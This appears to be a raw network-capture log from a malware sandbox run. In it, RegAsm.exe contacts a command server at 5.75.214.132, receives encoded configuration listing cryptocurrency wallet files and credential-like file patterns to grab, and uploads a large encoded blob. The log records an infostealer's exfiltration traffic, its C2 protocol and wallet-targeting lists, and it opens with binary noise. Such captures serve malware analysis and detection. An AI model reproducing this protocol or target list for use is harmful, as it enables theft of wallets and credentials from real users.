Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-11 14:23:19 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	63427	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:22 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:22 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------BKEBFHIJECFIDGDGCGHCCont
2024-09-11 14:23:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	63430	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:24 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:24 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------DHCAECGIEBKJKEBGDHDACont
2024-09-11 14:23:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:25 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	63432	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:26 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------DAAFBAKECAEGCBFIEGDGCont
2024-09-11 14:23:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:27 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	63433	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:28 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:28 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 Data Ascii: ------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------BKKFCFBKFCFBFIDGCGDHCont
2024-09-11 14:23:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-11 14:23:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	63434	5.75.214.132	443	4476	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:23:30 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 5.75.214.132 Content-Length: 134633 Connection: Keep-Alive Cache-Control: no-cache
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 65 34 33 65 35 35 36 35 65 63 33 65 36 62 66 35 32 62 64 38 61 65 65 39 38 31 62 36 63 37 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 30 32 32 34 30 31 35 38 62 63 37 65 30 30 33 62 38 61 64 34 65 37 30 39 39 31 36 63 33 36 37 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="token"ee43e5565ec3e6bf52bd8aee981b6c72------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build_id"02240158bc7e003b8ad4e709916c367e------HJJJECFIECBGDGCAAAEHCont
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 50 64 33 57 76 33 2f 6f 65 71 2f 77 44 43 78 76 43 66 2f 51 56 2f 38 6c 35 66 2f 69 61 32 39 4a 31 6e 54 39 63 73 7a 64 36 62 63 43 65 45 4f 55 4c 42 53 75 47 47 44 6a 42 41 50 63 56 34 62 34 69 38 50 32 58 68 37 53 64 4f 6a 6d 6c 6e 62 57 72 68 50 4f 6e 69 33 44 5a 43 68 7a 67 59 78 6e 64 2b 50 59 2b 31 64 74 38 4e 72 6d 39 74 66 42 64 77 39 68 70 2f 32 32 55 36 69 77 4d 66 6e 4c 48 68 66 4c 54 6e 4a 2f 44 6a 33 72 78 46 4a 33 73 7a 36 43 6a 69 36 6a 71 63 6c 52 4c 62 70 63 36 69 57 30 61 58 54 72 6e 54 62 7a 52 37 71 35 69 65 65 61 51 50 47 38 57 4d 4e 49 7a 4b 52 75 63 45 45 42 68 32 72 7a 44 56 39 4b 75 4e 49 76 7a 62 58 45 62 78 37 68 76 6a 33 6c 64 78 51 6b 67 45 37 53 51 44 77 65 39 65 73 66 32 6a 72 58 6c 52 4e 2f 59 48 7a 73 70 4c 70 39 73 54 35 Data Ascii: Pd3Wv3/oeq/wDCxvCf/QV/8l5f/ia29J1nT9cszd6bcCeEOULBSuGGDjBAPcV4b4i8P2Xh7SdOjmlnbWrhPOni3DZChzgYxnd+PY+1dt8Nrm9tfBdw9hp/22U6iwMfnLHhfLTnJ/Dj3rxFJ3sz6Cji6jqclRLbpc6iW0aXTrnTbzR7q5ieeaQPG8WMNIzKRucEEBh2rzDV9KuNIvzbXEbx7hvj3ldxQkgE7SQDwe9esf2jrXlRN/YHzspLp9sT5
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 77 70 44 53 39 61 43 4f 39 46 67 47 6b 63 6d 6b 36 30 34 69 6b 4e 42 51 67 2f 57 67 30 76 54 46 4a 6e 2b 64 41 43 55 68 70 78 50 31 70 4d 65 6c 41 43 55 48 6d 6a 72 53 6e 33 6f 47 4a 2b 6c 42 34 6f 36 47 69 67 41 77 4f 74 4a 78 78 52 30 6f 50 31 7a 53 48 6f 42 70 4d 59 36 30 76 66 69 6b 6f 47 49 66 62 72 51 61 58 50 4a 39 71 51 2f 6c 37 30 41 49 4f 74 48 36 55 76 66 33 4e 49 4f 50 72 51 41 48 30 6f 49 6f 6f 4e 46 68 6e 65 31 30 76 67 51 34 38 53 4c 2f 77 42 63 58 2f 6c 58 4e 56 63 30 33 55 72 6a 53 62 76 37 56 61 6c 52 4b 46 4b 67 73 75 63 5a 72 6a 78 56 4f 56 57 6a 4b 45 64 32 65 42 67 61 30 61 4f 49 68 55 6e 73 6d 53 36 50 59 61 6c 34 6b 38 54 72 34 69 74 72 47 4f 47 30 6a 31 43 4a 6e 56 66 6c 36 4f 70 4f 42 33 49 48 4a 50 76 57 66 34 76 75 6e 68 38 58 Data Ascii: wpDS9aCO9FgGkcmk604ikNBQg/Wg0vTFJn+dACUhpxP1pMelACUHmjrSn3oGJ+lB4o6GigAwOtJxxR0oP1zSHoBpMY60vfikoGIfbrQaXPJ9qQ/l70AIOtH6Uvf3NIOPrQAH0oIooNFhne10vgQ48SL/wBcX/lXNVc03UrjSbv7ValRKFKgsucZrjxVOVWjKEd2eBga0aOIhUnsmS6PYal4k8Tr4itrGOG0j1CJnVfl6OpOB3IHJPvWf4vunh8X
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 6a 46 46 78 69 55 55 74 4a 52 63 42 4b 4b 57 6b 70 67 46 47 4b 4b 4b 42 69 55 55 74 4a 54 41 4b 53 6c 6f 6f 47 4a 52 52 52 51 41 6c 42 6f 70 54 54 41 53 69 67 30 43 67 59 55 68 70 61 4b 41 45 6f 6f 6f 35 70 6a 43 69 69 69 6d 41 6e 61 69 6c 70 4b 41 45 6f 7a 52 52 51 4d 58 4f 61 4b 53 69 67 41 70 61 53 6c 70 67 46 42 6f 70 4b 41 43 69 69 69 6d 4d 4d 30 74 4a 52 51 49 57 69 6a 4e 46 41 42 30 6f 6f 6f 7a 54 47 42 6f 6f 70 44 51 41 74 46 4a 53 30 41 46 46 46 47 61 41 46 48 4e 46 49 4b 58 4e 41 42 51 61 4b 4b 51 42 52 53 55 74 41 68 61 54 46 48 30 70 54 53 41 54 42 70 63 63 55 55 55 77 41 44 32 6f 78 52 52 53 41 54 47 61 4e 75 4b 64 53 30 58 59 44 63 55 68 48 53 6e 59 34 6f 41 7a 78 53 75 46 78 6d 50 51 30 68 54 49 36 66 6a 56 68 4c 65 5a 2f 75 77 79 48 36 4b Data Ascii: jFFxiUUtJRcBKKWkpgFGKKKBiUUtJTAKSlooGJRRRQAlBopTTASig0CgYUhpaKAEooo5pjCiiimAnailpKAEozRRQMXOaKSigApaSlpgFBopKACiiimMM0tJRQIWijNFAB0ooozTGBoopDQAtFJS0AFFFGaAFHNFIKXNABQaKKQBRSUtAhaTFH0pTSATBpccUUUwAD2oxRRSATGaNuKdS0XYDcUhHSnY4oAzxSuFxmPQ0hTI6fjVhLeZ/uwyH6K
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 31 47 54 2b 4e 4f 64 73 6d 6f 7a 58 71 4c 53 4b 4f 69 4b 45 4a 70 68 39 36 56 76 65 6d 6b 31 4c 5a 6f 67 37 30 68 4f 63 30 5a 35 36 55 68 71 57 55 49 65 42 6e 50 34 55 6e 62 4e 4b 66 38 6d 6b 37 64 4b 68 73 70 44 61 51 6a 41 36 55 74 46 49 59 33 4e 48 61 6c 70 75 61 51 78 61 62 37 30 70 70 44 53 47 68 44 53 66 57 6c 49 4f 66 58 30 70 4f 6c 49 6f 54 48 72 30 6f 37 55 66 68 51 65 68 6f 47 6a 30 43 69 6a 46 4b 6f 79 77 48 71 63 56 7a 74 32 56 7a 35 52 4a 74 32 52 62 73 72 59 6d 53 4f 56 78 68 41 63 6a 49 2b 39 69 75 6b 74 37 4b 31 6d 58 4c 57 36 5a 4a 39 4b 72 70 4c 62 76 62 4c 62 73 41 46 55 59 55 6a 71 4b 57 78 76 5a 49 64 78 56 56 5a 56 36 5a 39 66 57 76 6a 38 5a 69 58 69 4b 74 33 73 74 6a 39 48 77 4f 41 70 34 4f 6b 6f 51 64 32 39 2f 55 73 79 57 55 65 6e Data Ascii: 1GT+NOdsmozXqLSKOiKEJph96Vvemk1LZog70hOc0Z56UhqWUIeBnP4UnbNKf8mk7dKhspDaQjA6UtFIY3NHalpuaQxab70ppDSGhDSfWlIOfX0pOlIoTHr0o7UfhQehoGj0CijFKoywHqcVzt2Vz5RJt2RbsrYmSOVxhAcjI+9iukt7K1mXLW6ZJ9KrpLbvbLbsAFUYUjqKWxvZIdxVVZV6Z9fWvj8ZiXiKt3stj9HwOAp4OkoQd29/UsyWUen
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 66 73 54 7a 78 53 4d 53 75 65 64 6f 59 4b 53 50 37 70 78 36 56 7a 76 4e 71 61 76 65 50 56 4c 35 36 66 35 6e 64 2f 71 39 56 65 69 6d 74 72 2f 49 30 4b 4b 79 4a 72 75 37 30 32 79 69 75 4c 71 7a 6a 2b 32 57 57 6d 7a 54 76 41 77 47 4a 4a 52 65 47 45 4d 33 39 35 51 43 44 36 48 41 37 56 4a 39 71 75 37 6d 36 30 2b 43 52 74 4b 6b 4f 72 32 68 53 31 6e 74 49 2f 4b 43 54 42 7a 73 33 44 59 75 44 76 42 51 34 47 4d 48 76 69 6e 48 4e 61 63 76 68 58 39 61 2f 35 45 53 79 43 74 44 34 70 4a 66 30 74 2f 76 4e 4b 69 73 4a 74 63 32 6a 55 62 6d 79 68 69 75 46 73 37 69 43 77 74 33 6c 6a 42 51 37 67 35 65 64 6c 50 44 45 73 68 41 33 41 67 62 67 4f 77 71 61 66 56 4c 75 7a 74 37 36 2b 2b 7a 32 63 74 34 73 73 46 75 67 45 4b 65 56 47 4a 41 35 4d 68 6a 78 74 7a 38 67 55 66 4c 6a 6e 50 Data Ascii: fsTzxSMSuedoYKSP7px6VzvNqavePVL56f5nd/q9Veimtr/I0KKyJru702yiuLqzj+2WWmzTvAwGJJReGEM395QCD6HA7VJ9qu7m60+CRtKkOr2hS1ntI/KCTBzs3DYuDvBQ4GMHvinHNacvhX9a/5ESyCtD4pJf0t/vNKisJtc2jUbmyhiuFs7iCwt3ljBQ7g5edlPDEshA3AgbgOwqafVLuzt76++z2ct4ssFugEKeVGJA5Mhjxtz8gUfLjnP
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 73 46 79 4d 48 46 58 72 6d 33 53 36 68 38 70 79 77 58 63 72 66 4c 31 79 43 43 50 35 55 2f 65 50 52 76 2b 2b 54 52 76 48 6f 33 2f 41 48 79 61 4a 53 63 74 57 45 59 71 4f 78 55 6c 30 32 4f 52 32 64 5a 70 59 32 4d 67 6c 42 51 6a 35 47 41 78 6b 5a 42 36 6a 72 6d 69 33 30 79 4b 33 65 4e 78 4a 4b 37 4a 35 68 79 35 48 4f 38 67 6e 50 48 71 4b 74 37 78 36 4e 2f 33 79 61 4e 34 39 47 2f 37 35 4e 53 55 4d 74 72 64 4c 53 31 69 74 34 79 78 53 4e 51 6f 4c 64 65 4b 6c 70 75 38 65 6a 66 39 38 6d 6a 65 50 52 76 2b 2b 54 51 41 36 69 6d 37 78 36 4e 2f 33 79 61 4e 34 39 47 2f 37 35 4e 41 44 71 4b 62 76 48 6f 33 2f 66 4a 6f 33 6a 30 62 2f 76 6b 30 41 4f 6f 70 75 38 65 6a 66 39 38 6d 6a 65 50 52 76 2b 2b 54 51 41 36 69 6d 37 78 36 4e 2f 33 79 61 4e 34 39 47 2f 37 35 4e 41 44 71 Data Ascii: sFyMHFXrm3S6h8pywXcrfL1yCCP5U/ePRv++TRvHo3/AHyaJSctWEYqOxUl02OR2dZpY2MglBQj5GAxkZB6jrmi30yK3eNxJK7J5hy5HO8gnPHqKt7x6N/3yaN49G/75NSUMtrdLS1it4yxSNQoLdeKlpu8ejf98mjePRv++TQA6im7x6N/3yaN49G/75NADqKbvHo3/fJo3j0b/vk0AOopu8ejf98mjePRv++TQA6im7x6N/3yaN49G/75NADq
2024-09-11 14:23:30 UTC	16355	OUT	Data Raw: 79 55 72 76 54 79 2f 34 4a 4d 31 55 6c 46 78 73 74 66 50 2f 41 49 42 71 56 77 76 78 56 2f 35 46 79 30 2f 36 2f 46 2f 39 41 61 75 36 72 68 66 69 72 2f 79 4c 6c 70 2f 31 2b 4c 2f 36 41 31 56 68 66 34 30 66 55 79 78 33 2b 37 54 39 47 65 5a 51 2f 64 71 59 64 4b 68 68 2b 37 55 77 36 56 39 66 48 59 2f 50 4a 62 68 52 51 61 4b 6f 6b 4b 53 6c 70 4b 42 68 53 55 74 49 61 41 43 69 69 69 6d 4d 44 53 55 70 70 4b 41 43 6b 70 61 53 67 59 55 68 70 61 53 67 41 70 44 53 30 6c 41 77 6f 6f 6f 4e 41 43 55 68 70 61 53 67 59 55 47 69 67 30 44 45 6f 6f 6f 6f 47 4a 51 61 4b 44 54 41 51 30 6c 4c 53 47 67 59 55 6c 4b 61 53 67 59 55 6c 4c 53 55 41 46 42 6f 70 4b 42 68 53 55 74 4a 54 47 42 70 4b 4b 4b 42 69 55 55 64 36 4b 41 45 70 44 53 39 36 53 67 59 55 6c 4b 61 53 67 59 55 6c 4c 53 Data Ascii: yUrvTy/4JM1UlFxstfP/AIBqVwvxV/5Fy0/6/F/9Aau6rhfir/yLlp/1+L/6A1Vhf40fUyx3+7T9GeZQ/dqYdKhh+7Uw6V9fHY/PJbhRQaKokKSlpKBhSUtIaACiiimMDSUppKACkpaSgYUhpaSgApDS0lAwoooNACUhpaSgYUGig0DEooooGJQaKDTAQ0lLSGgYUlKaSgYUlLSUAFBopKBhSUtJTGBpKKKBiUUd6KAEpDS96SgYUlKaSgYUlLS
2024-09-11 14:23:30 UTC	3793	OUT	Data Raw: 4b 6f 56 51 41 6f 47 41 41 4f 42 53 31 44 39 72 74 76 2b 66 69 4c 2f 76 73 55 66 61 37 62 2f 6e 34 69 2f 37 37 46 41 45 31 56 5a 4c 4b 48 37 61 32 6f 4a 43 72 58 6f 67 4d 4b 73 7a 6b 41 72 6e 64 74 50 55 44 6e 76 67 6d 70 50 74 64 74 2f 7a 38 52 66 38 41 66 59 6f 2b 31 32 33 2f 41 44 38 52 66 39 39 69 67 44 46 73 39 43 6d 6a 30 37 57 47 6d 57 32 6a 76 39 55 4c 74 49 49 69 53 69 5a 58 61 71 37 73 41 6b 44 71 54 67 63 73 65 4b 6d 30 66 77 31 59 61 55 74 72 4b 73 54 47 36 68 67 38 6f 45 7a 79 4f 6b 65 51 4e 33 6c 71 78 77 67 4a 48 38 49 46 61 6e 32 75 32 2f 35 2b 49 76 38 41 76 73 55 66 61 37 